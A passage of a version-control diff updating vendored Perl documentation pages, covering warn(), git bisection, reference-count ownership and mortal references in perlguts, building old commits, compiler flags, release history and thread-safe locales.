-L<C<die>|/die LIST> does.
+Emits a warning, usually by printing it to C<STDERR>.  C<warn> interprets
+its operand LIST in the same way as C<die>, but is slightly different
+in what it defaults to when LIST is empty or makes an empty string.
+If it is empty and L<C<$@>|perlvar/$@> already contains an exception
+value then that value is used after appending C<"\t...caught">.  If it
+is empty and C<$@> is also empty then the string C<"Warning: Something's
+wrong"> is used.
 
-If the output is empty and L<C<$@>|perlvar/$@> already contains a value
-(typically from a previous eval) that value is used after appending
-C<"\t...caught"> to L<C<$@>|perlvar/$@>.  This is useful for staying
-almost, but not entirely similar to L<C<die>|/die LIST>.
-
-If L<C<$@>|perlvar/$@> is empty, then the string
-C<"Warning: Something's wrong"> is used.
-
-No message is printed if there is a L<C<$SIG{__WARN__}>|perlvar/%SIG>
-handler
-installed.  It is the handler's responsibility to deal with the message
+By default, the exception derived from the operand LIST is stringified
+and printed to C<STDERR>.  This behaviour can be altered by installing
+a L<C<$SIG{__WARN__}>|perlvar/%SIG> handler.  If there is such a
+handler then no message is automatically printed; it is the handler's
+responsibility to deal with the exception
 as it sees fit (like, for instance, converting it into a
 L<C<die>|/die LIST>).  Most
 handlers must therefore arrange to actually display the

Modified: vendor/perl/dist/pod/perlgit.pod
===================================================================
--- vendor/perl/dist/pod/perlgit.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlgit.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -481,6 +481,13 @@
 C<git help bisect> has much more information on how you can tweak your
 binary searches.
 
+Following bisection you may wish to configure, build and test perl at
+commits identified by the bisection process.  Sometimes, particularly
+with older perls, C<make> may fail during this process.  In this case
+you may be able to patch the source code at the older commit point.  To
+do so, please follow the suggestions provided in
+L<perlhack/Building perl at older commits>.
+
 =head2 Topic branches and rewriting history
 
 Individual committers should create topic branches under
@@ -845,6 +852,9 @@
 Fortunately, there is a way to get your change smoke-tested on various
 OSes: push it to a "smoke-me" branch and wait for certain automated
 smoke-testers to report the results from their OSes.
+A "smoke-me" branch is identified by the branch name: specifically, as
+seen on perl5.git.perl.org it must be a local branch whose first name
+component is precisely C<smoke-me>.
 
 The procedure for doing this is roughly as follows (using the example of
 of tonyc's smoke-me branch called win32stat):

Modified: vendor/perl/dist/pod/perlguts.pod
===================================================================
--- vendor/perl/dist/pod/perlguts.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlguts.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -56,7 +56,7 @@
     SV*  newSVpvf(const char*, ...);
     SV*  newSVsv(SV*);
 
-C<STRLEN> is an integer type (Size_t, usually defined as size_t in
+C<STRLEN> is an integer type (C<Size_t>, usually defined as C<size_t> in
 F<config.h>) guaranteed to be large enough to represent the size of
 any string that perl can handle.
 
@@ -79,7 +79,7 @@
     void  sv_setpvn(SV*, const char*, STRLEN)
     void  sv_setpvf(SV*, const char*, ...);
     void  sv_vsetpvfn(SV*, const char*, STRLEN, va_list *,
-                                                    SV **, I32, bool *);
+                                        SV **, Size_t, bool *);
     void  sv_setsv(SV*, SV*);
 
 Notice that you can choose to specify the length of the string to be
@@ -798,68 +798,116 @@
 AVs, or HVs (xV for short in the following) start their life with a
 reference count of 1.  If the reference count of an xV ever drops to 0,
 then it will be destroyed and its memory made available for reuse.
+At the most basic internal level, reference counts can be manipulated
+with the following macros:
 
-This normally doesn't happen at the Perl level unless a variable is
-undef'ed or the last variable holding a reference to it is changed or
-overwritten.  At the internal level, however, reference counts can be
-manipulated with the following macros:
-
     int SvREFCNT(SV* sv);
     SV* SvREFCNT_inc(SV* sv);
     void SvREFCNT_dec(SV* sv);
 
-However, there is one other function which manipulates the reference
-count of its argument.  The C<newRV_inc> function, you will recall,
-creates a reference to the specified argument.  As a side effect,
-it increments the argument's reference count.  If this is not what
-you want, use C<newRV_noinc> instead.
+(There are also suffixed versions of the increment and decrement macros,
+for situations where the full generality of these basic macros can be
+exchanged for some performance.)
 
-For example, imagine you want to return a reference from an XSUB function.
-Inside the XSUB routine, you create an SV which initially has a reference
-count of one.  Then you call C<newRV_inc>, passing it the just-created SV.
-This returns the reference as a new SV, but the reference count of the
-SV you passed to C<newRV_inc> has been incremented to two.  Now you
-return the reference from the XSUB routine and forget about the SV.
-But Perl hasn't!  Whenever the returned reference is destroyed, the
-reference count of the original SV is decreased to one and nothing happens.
-The SV will hang around without any way to access it until Perl itself
-terminates.  This is a memory leak.
+However, the way a programmer should think about references is not so
+much in terms of the bare reference count, but in terms of I<ownership>
+of references.  A reference to an xV can be owned by any of a variety
+of entities: another xV, the Perl interpreter, an XS data structure,
+a piece of running code, or a dynamic scope.  An xV generally does not
+know what entities own the references to it; it only knows how many
+references there are, which is the reference count.
 
-The correct procedure, then, is to use C<newRV_noinc> instead of
-C<newRV_inc>.  Then, if and when the last reference is destroyed,
-the reference count of the SV will go to zero and it will be destroyed,
-stopping any memory leak.
+To correctly maintain reference counts, it is essential to keep track
+of what references the XS code is manipulating.  The programmer should
+always know where a reference has come from and who owns it, and be
+aware of any creation or destruction of references, and any transfers
+of ownership.  Because ownership isn't represented explicitly in the xV
+data structures, only the reference count need be actually maintained
+by the code, and that means that this understanding of ownership is not
+actually evident in the code.  For example, transferring ownership of a
+reference from one owner to another doesn't change the reference count
+at all, so may be achieved with no actual code.  (The transferring code
+doesn't touch the referenced object, but does need to ensure that the
+former owner knows that it no longer owns the reference, and that the
+new owner knows that it now does.)
 
+An xV that is visible at the Perl level should not become unreferenced
+and thus be destroyed.  Normally, an object will only become unreferenced
+when it is no longer visible, often by the same means that makes it
+invisible.  For example, a Perl reference value (RV) owns a reference to
+its referent, so if the RV is overwritten that reference gets destroyed,
+and the no-longer-reachable referent may be destroyed as a result.
+
+Many functions have some kind of reference manipulation as
+part of their purpose.  Sometimes this is documented in terms
+of ownership of references, and sometimes it is (less helpfully)
+documented in terms of changes to reference counts.  For example, the
+L<newRV_inc()|perlapi/newRV_inc> function is documented to create a new RV
+(with reference count 1) and increment the reference count of the referent
+that was supplied by the caller.  This is best understood as creating
+a new reference to the referent, which is owned by the created RV,
+and returning to the caller ownership of the sole reference to the RV.
+The L<newRV_noinc()|perlapi/newRV_noinc> function instead does not
+increment the reference count of the referent, but the RV nevertheless
+ends up owning a reference to the referent.  It is therefore implied
+that the caller of C<newRV_noinc()> is relinquishing a reference to the
+referent, making this conceptually a more complicated operation even
+though it does less to the data structures.
+
+For example, imagine you want to return a reference from an XSUB
+function.  Inside the XSUB routine, you create an SV which initially
+has just a single reference, owned by the XSUB routine.  This reference
+needs to be disposed of before the routine is complete, otherwise it
+will leak, preventing the SV from ever being destroyed.  So to create
+an RV referencing the SV, it is most convenient to pass the SV to
+C<newRV_noinc()>, which consumes that reference.  Now the XSUB routine
+no longer owns a reference to the SV, but does own a reference to the RV,
+which in turn owns a reference to the SV.  The ownership of the reference
+to the RV is then transferred by the process of returning the RV from
+the XSUB.
+
 There are some convenience functions available that can help with the
 destruction of xVs.  These functions introduce the concept of "mortality".
-An xV that is mortal has had its reference count marked to be decremented,
-but not actually decremented, until "a short time later".  Generally the
-term "short time later" means a single Perl statement, such as a call to
-an XSUB function.  The actual determinant for when mortal xVs have their
-reference count decremented depends on two macros, SAVETMPS and FREETMPS.
-See L<perlcall> and L<perlxs> for more details on these macros.
+Much documentation speaks of an xV itself being mortal, but this is
+misleading.  It is really I<a reference to> an xV that is mortal, and it
+is possible for there to be more than one mortal reference to a single xV.
+For a reference to be mortal means that it is owned by the temps stack,
+one of perl's many internal stacks, which will destroy that reference
+"a short time later".  Usually the "short time later" is the end of
+the current Perl statement.  However, it gets more complicated around
+dynamic scopes: there can be multiple sets of mortal references hanging
+around at the same time, with different death dates.  Internally, the
+actual determinant for when mortal xV references are destroyed depends
+on two macros, SAVETMPS and FREETMPS.  See L<perlcall> and L<perlxs>
+for more details on these macros.
 
-"Mortalization" then is at its simplest a deferred C<SvREFCNT_dec>.
-However, if you mortalize a variable twice, the reference count will
-later be decremented twice.
+Mortal references are mainly used for xVs that are placed on perl's
+main stack.  The stack is problematic for reference tracking, because it
+contains a lot of xV references, but doesn't own those references: they
+are not counted.  Currently, there are many bugs resulting from xVs being
+destroyed while referenced by the stack, because the stack's uncounted
+references aren't enough to keep the xVs alive.  So when putting an
+(uncounted) reference on the stack, it is vitally important to ensure that
+there will be a counted reference to the same xV that will last at least
+as long as the uncounted reference.  But it's also important that that
+counted reference be cleaned up at an appropriate time, and not unduly
+prolong the xV's life.  For there to be a mortal reference is often the
+best way to satisfy this requirement, especially if the xV was created
+especially to be put on the stack and would otherwise be unreferenced.
 
-"Mortal" SVs are mainly used for SVs that are placed on perl's stack.
-For example an SV which is created just to pass a number to a called sub
-is made mortal to have it cleaned up automatically when it's popped off
-the stack.  Similarly, results returned by XSUBs (which are pushed on the
-stack) are often made mortal.
+To create a mortal reference, use the functions:
 
-To create a mortal variable, use the functions:
-
     SV*  sv_newmortal()
+    SV*  sv_mortalcopy(SV*)
     SV*  sv_2mortal(SV*)
-    SV*  sv_mortalcopy(SV*)
 
-The first call creates a mortal SV (with no value), the second converts an existing
-SV to a mortal SV (and thus defers a call to C<SvREFCNT_dec>), and the
-third creates a mortal copy of an existing SV.
-Because C<sv_newmortal> gives the new SV no value, it must normally be given one
-via C<sv_setpv>, C<sv_setiv>, etc. :
+C<sv_newmortal()> creates an SV (with the undefined value) whose sole
+reference is mortal.  C<sv_mortalcopy()> creates an xV whose value is a
+copy of a supplied xV and whose sole reference is mortal.  C<sv_2mortal()>
+mortalises an existing xV reference: it transfers ownership of a reference
+from the caller to the temps stack.  Because C<sv_newmortal> gives the new
+SV no value, it must normally be given one via C<sv_setpv>, C<sv_setiv>,
+etc. :
 
     SV *tmp = sv_newmortal();
     sv_setiv(tmp, an_integer);
@@ -868,17 +916,6 @@
 
     SV *tmp = sv_2mortal(newSViv(an_integer));
 
-
-You should be careful about creating mortal variables.  Strange things
-can happen if you make the same value mortal within multiple contexts,
-or if you make a variable mortal multiple
-times.  Thinking of "Mortalization"
-as deferred C<SvREFCNT_dec> should help to minimize such problems.
-For example if you are passing an SV which you I<know> has a high enough REFCNT
-to survive its use on the stack you need not do any mortalization.
-If you are not sure then doing an C<SvREFCNT_inc> and C<sv_2mortal>, or
-making a C<sv_mortalcopy> is safer.
-
 The mortal routines are not just for SVs; AVs and HVs can be
 made mortal by passing their address (type-casted to C<SV*>) to the
 C<sv_2mortal> or C<sv_mortalcopy> routines.
@@ -1234,6 +1271,8 @@
  v  PERL_MAGIC_vec            vtbl_vec       vec() lvalue
  w  PERL_MAGIC_utf8           vtbl_utf8      Cached UTF-8 information
  x  PERL_MAGIC_substr         vtbl_substr    substr() lvalue
+ Y  PERL_MAGIC_nonelem        vtbl_nonelem   Array element that does not
+                                             exist
  y  PERL_MAGIC_defelem        vtbl_defelem   Shadow "foreach" iterator
                                              variable / smart parameter
                                              vivification
@@ -2675,7 +2714,7 @@
 If you are printing addresses of pointers, use UVxf combined
 with PTR2UV(), do not use %lx or %p.
 
-=head2 Formatted Printing of Size_t and SSize_t
+=head2 Formatted Printing of C<Size_t> and C<SSize_t>
 
 The most general way to do this is to cast them to a UV or IV, and
 print as in the
@@ -2870,10 +2909,13 @@
 character like this (the C<UTF8_IS_INVARIANT()> is a macro that tests
 whether the byte is encoded as a single byte even in UTF-8):
 
-    U8 *utf;
-    U8 *utf_end; /* 1 beyond buffer pointed to by utf */
-    UV uv;	/* Note: a UV, not a U8, not a char */
-    STRLEN len; /* length of character in bytes */
+    U8 *utf;     /* Initialize this to point to the beginning of the
+                    sequence to convert */
+    U8 *utf_end; /* Initialize this to 1 beyond the end of the sequence
+                    pointed to by 'utf' */
+    UV uv;	 /* Returned code point; note: a UV, not a U8, not a
+                    char */
+    STRLEN len; /* Returned length of character in bytes */
 
     if (!UTF8_IS_INVARIANT(*utf))
         /* Must treat this as UTF-8 */

Modified: vendor/perl/dist/pod/perlhack.pod
===================================================================
--- vendor/perl/dist/pod/perlhack.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlhack.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -90,6 +90,16 @@
 The porters appreciate the time you spent helping to make Perl better.
 Thank you!
 
+=item * Acknowledgement
+
+All contributors are credited (by name and email address) in the
+AUTHORS file, which is part of the perl distribution, as well as the
+Git commit history.
+
+If you don’t want to be included in the AUTHORS file, just let us
+know. Otherwise we will take your submission of a patch as permission
+to credit you in the AUTHORS file.
+
 =item * Next time
 
 The next time you wish to make a patch, you need to start from the
@@ -219,6 +229,9 @@
 ticket number.  Once your patch has made it to the ticket tracking
 system, it will also be sent to the perl5-porters at perl.org list.
 
+If your patch is related to an already-opened ticket you can also
+attach your patch to that ticket, without having to use perlbug.
+
 Patches are reviewed and discussed on the p5p list.  Simple,
 uncontroversial patches will usually be applied without any discussion.
 When the patch is applied, the ticket will be updated and you will
@@ -1041,6 +1054,55 @@
 Add a test that will take a fraction of a second normally, and minutes
 otherwise, causing the test file to time out on failure.
 
+=head2 Building perl at older commits
+
+In the course of hacking on the Perl core distribution, you may have occasion
+to configure, build and test perl at an old commit.  Sometimes C<make> will
+fail during this process.  If that happens, you may be able to salvage the
+situation by using the Devel::PatchPerl library from CPAN (not included in the
+core) to bring the source code at that commit to a buildable state.
+
+Here's a real world example, taken from work done to resolve
+L<perl #72414|https://rt.perl.org/Ticket/Display.html?id=72414>.
+Use of F<Porting/bisect.pl> had identified commit
+C<ba77e4cc9d1ceebf472c9c5c18b2377ee47062e6> as the commit in which a bug was
+corrected.  To confirm, a P5P developer wanted to configure and build perl at
+commit C<ba77e4c^> (presumably "bad") and then at C<ba77e4c> (presumably
+"good").  Normal configuration and build was attempted:
+
+    $ sh ./Configure -des -Dusedevel
+    $ make test_prep
+
+C<make>, however, failed with output (excerpted) like this:
+
+    cc -fstack-protector -L/usr/local/lib -o miniperl \
+      gv.o toke.o perly.o pad.o regcomp.o dump.o util.o \
+      mg.o reentr.o mro.o hv.o av.o run.o pp_hot.o sv.o \
+      pp.o scope.o pp_ctl.o pp_sys.o doop.o doio.o regexec.o \
+      utf8.o taint.o deb.o universal.o globals.o perlio.o \
+      perlapi.o numeric.o mathoms.o locale.o pp_pack.o pp_sort.o  \
+      miniperlmain.o opmini.o perlmini.o
+    pp.o: In function `Perl_pp_pow':
+    pp.c:(.text+0x2db9): undefined reference to `pow'
+    ...
+    collect2: error: ld returned 1 exit status
+    makefile:348: recipe for target 'miniperl' failed
+    make: *** [miniperl] Error 1
+
+Another P5P contributor recommended installation and use of Devel::PatchPerl
+for this situation, first to determine the version of perl at the commit in
+question, then to patch the source code at that point to facilitate a build.
+
+    $ perl -MDevel::PatchPerl -e \
+        'print Devel::PatchPerl->determine_version("/path/to/sourcecode"), "\n";'
+    5.11.1
+    $ perl -MDevel::PatchPerl -e \
+        'Devel::PatchPerl->patch_source("5.11.1", "/path/to/sourcecode");'
+
+Once the source was patched, C<./Configure> and C<make test_prep> were called
+and completed successfully, enabling confirmation of the findings in RT
+#72414.
+
 =head1 MORE READING FOR GUTS HACKERS
 
 To hack on the Perl guts, you'll need to read the following things:

Modified: vendor/perl/dist/pod/perlhacktips.pod
===================================================================
--- vendor/perl/dist/pod/perlhacktips.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlhacktips.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -20,8 +20,7 @@
 
 =head1 COMMON PROBLEMS
 
-Perl source plays by ANSI C89 rules: no C99 (or C++) extensions.  In
-some cases we have to take pre-ANSI requirements into consideration.
+Perl source plays by ANSI C89 rules: no C99 (or C++) extensions.
 You don't care about some particular platform having broken Perl? I
 hear there is still a strong demand for J2EE programmers.
 
@@ -1106,7 +1105,7 @@
 C<cflags> frontend selects C<-ansi -pedantic> for the platforms where
 they are known to be safe.
 
-Starting from Perl 5.9.4 the following extra flags are added:
+The following extra flags are added:
 
 =over 4
 
@@ -1120,8 +1119,20 @@
 
 =item *
 
-C<-Wdeclaration-after-statement>
+C<-Wc++-compat>
 
+=item *
+
+C<-Wwrite-strings>
+
+=item *
+
+C<-Werror=declaration-after-statement>
+
+=item *
+
+C<-Werror=pointer-arith>
+
 =back
 
 The following flags would be nice to have but they would first need
@@ -1131,10 +1142,6 @@
 
 =item *
 
-C<-Wpointer-arith>
-
-=item *
-
 C<-Wshadow>
 
 =item *

Modified: vendor/perl/dist/pod/perlhist.pod
===================================================================
--- vendor/perl/dist/pod/perlhist.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlhist.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -33,7 +33,8 @@
 Chris C<BinGOs> Williams, Zefram, Ævar Arnfjörð Bjarmason, Stevan
 Little, Dave Rolsky, Max Maischein, Abigail, Jesse Luehrs, Tony Cook,
 Dominic Hargreaves, Aaron Crane, Aristotle Pagaltzis, Matthew Horsfall,
-Peter Martini, Sawyer X, Chad 'Exodist' Granum, and Renee Bäcker.
+Peter Martini, Sawyer X, Chad 'Exodist' Granum, Renee Bäcker, Eric Herman,
+John SJ Anderson, and Karen Etheridge.
 
 =head2 PUMPKIN?
 
@@ -573,10 +574,12 @@
  Steve     5.22.3-RC4   2016-Oct-12
  Steve     5.22.3-RC5   2017-Jan-02
  Steve     5.22.3       2017-Jan-14
+ Steve     5.22.4-RC1   2017-Jul-01
+ Steve     5.22.4       2017-Jul-15
 
  Ricardo   5.23.0       2015-Jun-20     The 5.23 development track
- Matthew   5.23.1       2015-Jul-20
- Matthew   5.23.2       2015-Aug-20
+ Matthew H 5.23.1       2015-Jul-20
+ Matthew H 5.23.2       2015-Aug-20
  Peter     5.23.3       2015-Sep-20
  Steve     5.23.4       2015-Oct-20
  Abigail   5.23.5       2015-Nov-20
@@ -597,10 +600,16 @@
  Steve     5.24.1-RC4   2016-Oct-12
  Steve     5.24.1-RC5   2017-Jan-02
  Steve     5.24.1       2017-Jan-14
+ Steve     5.24.2-RC1   2017-Jul-01
+ Steve     5.24.2       2017-Jul-15
+ Steve     5.24.3-RC1   2017-Sep-10
+ Steve     5.24.3       2017-Sep-22
+ Steve     5.24.4-RC1   2018-Mar-24
+ Steve     5.24.4       2018-Apr-14
 
  Ricardo   5.25.0       2016-May-09     The 5.25 development track
  Sawyer X  5.25.1       2016-May-20
- Matthew   5.25.2       2016-Jun-20
+ Matthew H 5.25.2       2016-Jun-20
  Steve     5.25.3       2016-Jul-20
  BinGOs    5.25.4       2016-Aug-20
  Stevan    5.25.5       2016-Sep-20
@@ -615,7 +624,30 @@
  Sawyer X  5.26.0-RC1   2017-May-11     The 5.26 maintenance track
  Sawyer X  5.26.0-RC2   2017-May-23
  Sawyer X  5.26.0       2017-May-30
+ Steve     5.26.1-RC1   2017-Sep-10
+ Steve     5.26.1       2017-Sep-22
+ Steve     5.26.2-RC1   2018-Mar-24
+ Steve     5.26.2       2018-Apr-14
 
+ Sawyer X  5.27.0       2017-May-31     The 5.27 development track
+ Eric      5.27.1       2017-Jun-20
+ Aaron     5.27.2       2017-Jul-20
+ Matthew H 5.27.3       2017-Aug-21
+ John      5.27.4       2017-Sep-20
+ Steve     5.27.5       2017-Oct-20
+ Ether     5.27.6       2017-Nov-20
+ BinGOs    5.27.7       2017-Dec-20
+ Abigail   5.27.8       2018-Jan-20
+ Renee     5.27.9       2018-Feb-20
+ Todd      5.27.10      2018-Mar-20
+ Sawyer X  5.27.11      2018-Apr-20
+
+ Sawyer X  5.28.0-RC1   2018-May-21     The 5.28 maintenance track
+ Sawyer X  5.28.0-RC2   2018-Jun-06
+ Sawyer X  5.28.0-RC3   2018-Jun-18
+ Sawyer X  5.28.0-RC4   2018-Jun-19
+ Sawyer X  5.28.0       2018-Jun-22
+
 =head2 SELECTED RELEASE SIZES
 
 For example the notation "core: 212  29" in the release 1.000 means that

Modified: vendor/perl/dist/pod/perlinterp.pod
===================================================================
--- vendor/perl/dist/pod/perlinterp.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlinterp.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -70,8 +70,7 @@
 
 Now we pass Perl the command line options, and tell it to go:
 
- exitstatus = perl_parse(my_perl, xs_init, argc, argv, (char **)NULL);
- if (!exitstatus)
+ if (!perl_parse(my_perl, xs_init, argc, argv, (char **)NULL))
      perl_run(my_perl);
 
  exitstatus = perl_destruct(my_perl);

Modified: vendor/perl/dist/pod/perliol.pod
===================================================================
--- vendor/perl/dist/pod/perliol.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perliol.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -505,6 +505,14 @@
 layer being called. The macro C<PerlIOArg> will return a (possibly
 C<NULL>) SV * for the argument passed to the layer.
 
+Where a layer opens or takes ownership of a file descriptor, that layer is
+responsible for getting the file descriptor's close-on-exec flag into the
+correct state.  The flag should be clear for a file descriptor numbered
+less than or equal to C<PL_maxsysfd>, and set for any file descriptor
+numbered higher.  For thread safety, when a layer opens a new file
+descriptor it should if possible open it with the close-on-exec flag
+initially set.
+
 The I<mode> string is an "C<fopen()>-like" string which would match
 the regular expression C</^[I#]?[rwa]\+?[bt]?$/>.
 
@@ -525,6 +533,9 @@
 which will be open in a manner compatible with the supplied mode
 string, the call is thus equivalent to C<PerlIO_fdopen>. In this case
 I<nargs> will be zero.
+The file descriptor may have the close-on-exec flag either set or clear;
+it is the responsibility of the layer that takes ownership of it to get
+the flag into the correct state.
 
 If I<nargs> is greater than zero then it gives the number of arguments
 passed to C<open>, otherwise it will be 1 if for example

Modified: vendor/perl/dist/pod/perlipc.pod
===================================================================
--- vendor/perl/dist/pod/perlipc.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlipc.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -67,8 +67,8 @@
     # block scope for local
     {
         local $SIG{HUP} = "IGNORE";
-        kill HUP => -$$;
-        # snazzy writing of: kill("HUP", -$$)
+        kill HUP => -getpgrp();
+        # snazzy writing of: kill("HUP", -getpgrp())
     }
 
 Another interesting signal to send is signal number zero.  This doesn't

Modified: vendor/perl/dist/pod/perllocale.pod
===================================================================
--- vendor/perl/dist/pod/perllocale.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perllocale.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -22,10 +22,15 @@
 abbreviated as B<i18n>); telling such an application about a particular
 set of preferences is known as B<localization> (B<l10n>).
 
-Perl has been extended to support the locale system.  This
-is controlled per application by using one pragma, one function call,
-and several environment variables.
+Perl has been extended to support certain types of locales available in
+the locale system.  This is controlled per application by using one
+pragma, one function call, and several environment variables.
 
+Perl supports single-byte locales that are supersets of ASCII, such as
+the ISO 8859 ones, and one multi-byte-type locale, UTF-8 ones, described
+in the next paragraph.  Perl doesn't support any other multi-byte
+locales, such as the ones for East Asian languages.
+
 Unfortunately, there are quite a few deficiencies with the design (and
 often, the implementations) of locales.  Unicode was invented (see
 L<perlunitut> for an introduction to that) in part to address these
@@ -35,7 +40,7 @@
 UTF-8 locales, except for sorting and string comparisons like C<lt> and
 C<ge>.  Starting in v5.26, Perl can handle these reasonably as well,
 depending on the platform's implementation.  However, for earlier
-releases or for better control, use L<Unicode::Collate> .  Perl continues to
+releases or for better control, use L<Unicode::Collate>.  Perl continues to
 support the old non UTF-8 locales as well.  There are currently no UTF-8
 locales for EBCDIC platforms.
 
@@ -166,14 +171,17 @@
 
 =head2 The C<"use locale"> pragma
 
-WARNING!  Do NOT use this pragma in scripts that have multiple
-L<threads|threads> active.  The locale is not local to a single thread.
-Another thread may change the locale at any time, which could cause at a
-minimum that a given thread is operating in a locale it isn't expecting
-to be in.  On some platforms, segfaults can also occur.  The locale
-change need not be explicit; some operations cause perl to change the
-locale itself.  You are vulnerable simply by having done a C<"use
-locale">.
+Starting in Perl 5.28, this pragma may be used in
+L<multi-threaded|threads> applications on systems that have thread-safe
+locale ability.  Some caveats apply, see L</Multi-threaded> below.  On
+systems without this capability, or in earlier Perls, do NOT use this
+pragma in scripts that have multiple L<threads|threads> active.  The
+locale in these cases is not local to a single thread.  Another thread
+may change the locale at any time, which could cause at a minimum that a
+given thread is operating in a locale it isn't expecting to be in.  On
+some platforms, segfaults can also occur.  The locale change need not be
+explicit; some operations cause perl to change the locale itself.  You
+are vulnerable simply by having done a S<C<"use locale">>.
 
 By default, Perl itself (outside the L<POSIX> module)
 ignores the current locale.  The S<C<use locale>>
@@ -198,8 +206,8 @@
 
 =item B<Not within the scope of C<"use locale">>
 
-Only certain operations originating outside Perl should be affected, as
-follows:
+Only certain operations (all originating outside Perl) should be
+affected, as follows:
 
 =over 4
 
@@ -220,6 +228,8 @@
 will behave according to the current underlying locale, even if that
 locale isn't exposed to Perl space.
 
+This applies as well to L<I18N::Langinfo>.
+
 =item *
 
 XS modules for all categories but C<LC_NUMERIC> get the underlying
@@ -361,8 +371,8 @@
 
 Since Perl doesn't currently do anything with the C<LC_MONETARY>
 category, specifying C<:monetary> does effectively nothing.  Some
-systems have other categories, such as C<LC_PAPER_SIZE>, but Perl
-also doesn't know anything about them, and there is no way to specify
+systems have other categories, such as C<LC_PAPER>, but Perl
+also doesn't do anything with them, and there is no way to specify
 them in this pragma's arguments.
 
 You can also easily say to use all categories but one, by either, for
@@ -400,12 +410,13 @@
 
 =head2 The setlocale function
 
-WARNING!  Do NOT use this function in a L<thread|threads>.  The locale
-will change in all other threads at the same time, and should your
-thread get paused by the operating system, and another started, that
-thread will not have the locale it is expecting.  On some platforms,
-there can be a race leading to segfaults if two threads call this
-function nearly simultaneously.
+WARNING!  Prior to Perl 5.28 or on a system that does not support
+thread-safe locale operations, do NOT use this function in a
+L<thread|threads>.  The locale will change in all other threads at the
+same time, and should your thread get paused by the operating system,
+and another started, that thread will not have the locale it is
+expecting.  On some platforms, there can be a race leading to segfaults
+if two threads call this function nearly simultaneously.
 
 You can switch locales as often as you wish at run time with the
 C<POSIX::setlocale()> function:
@@ -478,9 +489,59 @@
 to a locale unknown to the system), the locale for the category is not
 changed, and the function returns C<undef>.
 
+Starting in Perl 5.28, on multi-threaded perls compiled on systems that
+implement POSIX 2008 thread-safe locale operations, this function
+doesn't actually call the system C<setlocale>.  Instead those
+thread-safe operations are used to emulate the C<setlocale> function,
+but in a thread-safe manner.
 
 For further information about the categories, consult L<setlocale(3)>.
 
+=head2 Multi-threaded operation
+
+Beginning in Perl 5.28, multi-threaded locale operation is supported on
+systems that implement either the POSIX 2008 or Windows-specific
+thread-safe locale operations.  Many modern systems, such as various
+Unix variants and Darwin do have this.
+
+You can tell if using locales is safe on your system by looking at the
+read-only boolean variable C<${^SAFE_LOCALES}>.  The value is 1 if the
+perl is not threaded, or if it is using thread-safe locale operations.
+
+Thread-safe operations are supported in Windows starting in Visual Studio
+2005, and in systems compatible with POSIX 2008.  Some platforms claim
+to support POSIX 2008, but have buggy implementations, so that the hints
+files for compiling to run on them turn off attempting to use
+thread-safety.  C<${^SAFE_LOCALES}> will be 0 on them.
+
+Be aware that writing a multi-threaded application will not be portable
+to a platform which lacks the native thread-safe locale support.  On
+systems that do have it, you automatically get this behavior for
+threaded perls, without having to do anything.  If for some reason, you
+don't want to use this capability (perhaps the POSIX 2008 support is
+buggy on your system), you can manually compile Perl to use the old
+non-thread-safe implementation by passing the argument
+C<-Accflags='-DNO_THREAD_SAFE_LOCALE'> to F<Configure>.
+Except on Windows, this will continue to use certain of the POSIX 2008
+functions in some situations.  If these are buggy, you can pass the
+following to F<Configure> instead or additionally:
+C<-Accflags='-DNO_POSIX_2008_LOCALE'>.  This will also keep the code
+from using thread-safe locales.
+C<${^SAFE_LOCALES}> will be 0 on systems that turn off the thread-safe
+operations.
+
+The initial program is started up using the locale specified from the
+environment, as currently, described in L</ENVIRONMENT>.   All newly
+created threads start with C<LC_ALL> set to C<"C">>.  Each thread may
+use C<POSIX::setlocale()> to query or switch its locale at any time,
+without affecting any other thread.  All locale-dependent operations
+automatically use their thread's locale.
+
+This should be completely transparent to any applications written
+entirely in Perl (minus a few rarely encountered caveats given in the
+L</Multi-threaded> section).  Information for XS module writers is given
+in L<perlxs/Locale-aware XS code>.
+
 =head2 Finding locales
 
 For locales available in your system, consult also L<setlocale(3)> to
@@ -741,8 +802,7 @@
 =head2 I18N::Langinfo
 
 Another interface for querying locale-dependent information is the
-C<I18N::Langinfo::langinfo()> function, available at least in Unix-like
-systems and VMS.
+C<I18N::Langinfo::langinfo()> function.
 
 The following example will import the C<langinfo()> function itself and
 three constants to be used as arguments to C<langinfo()>: a constant for
@@ -843,9 +903,6 @@
 If Perl detects that there are problems with the locale collation order,
 it reverts to using non-locale collation rules for that locale.
 
-If Perl detects that there are problems with the locale collation order,
-it reverts to using non-locale collation rules for that locale.
-
 If you have a single string that you want to check for "equality in
 locale" against several others, you might think you could gain a little
 efficiency by using C<POSIX::strxfrm()> in conjunction with C<eq>:
@@ -871,7 +928,7 @@
 in case it's needed again.  An example rewritten the easy way with
 C<cmp> runs just about as fast.  It also copes with null characters
 embedded in strings; if you call C<strxfrm()> directly, it treats the first
-null it finds as a terminator.  don't expect the transformed strings
+null it finds as a terminator.  Don't expect the transformed strings
 it produces to be portable across systems--or even from one revision
 of your operating system to the next.  In short, don't call C<strxfrm()>
 directly: let Perl do it for you.
@@ -903,7 +960,7 @@
 functions--C<fc()>, C<lc()>, C<lcfirst()>, C<uc()>, and C<ucfirst()>;
 case-mapping
 interpolation with C<\F>, C<\l>, C<\L>, C<\u>, or C<\U> in double-quoted
-strings and C<s///> substitutions; and case-independent regular expression
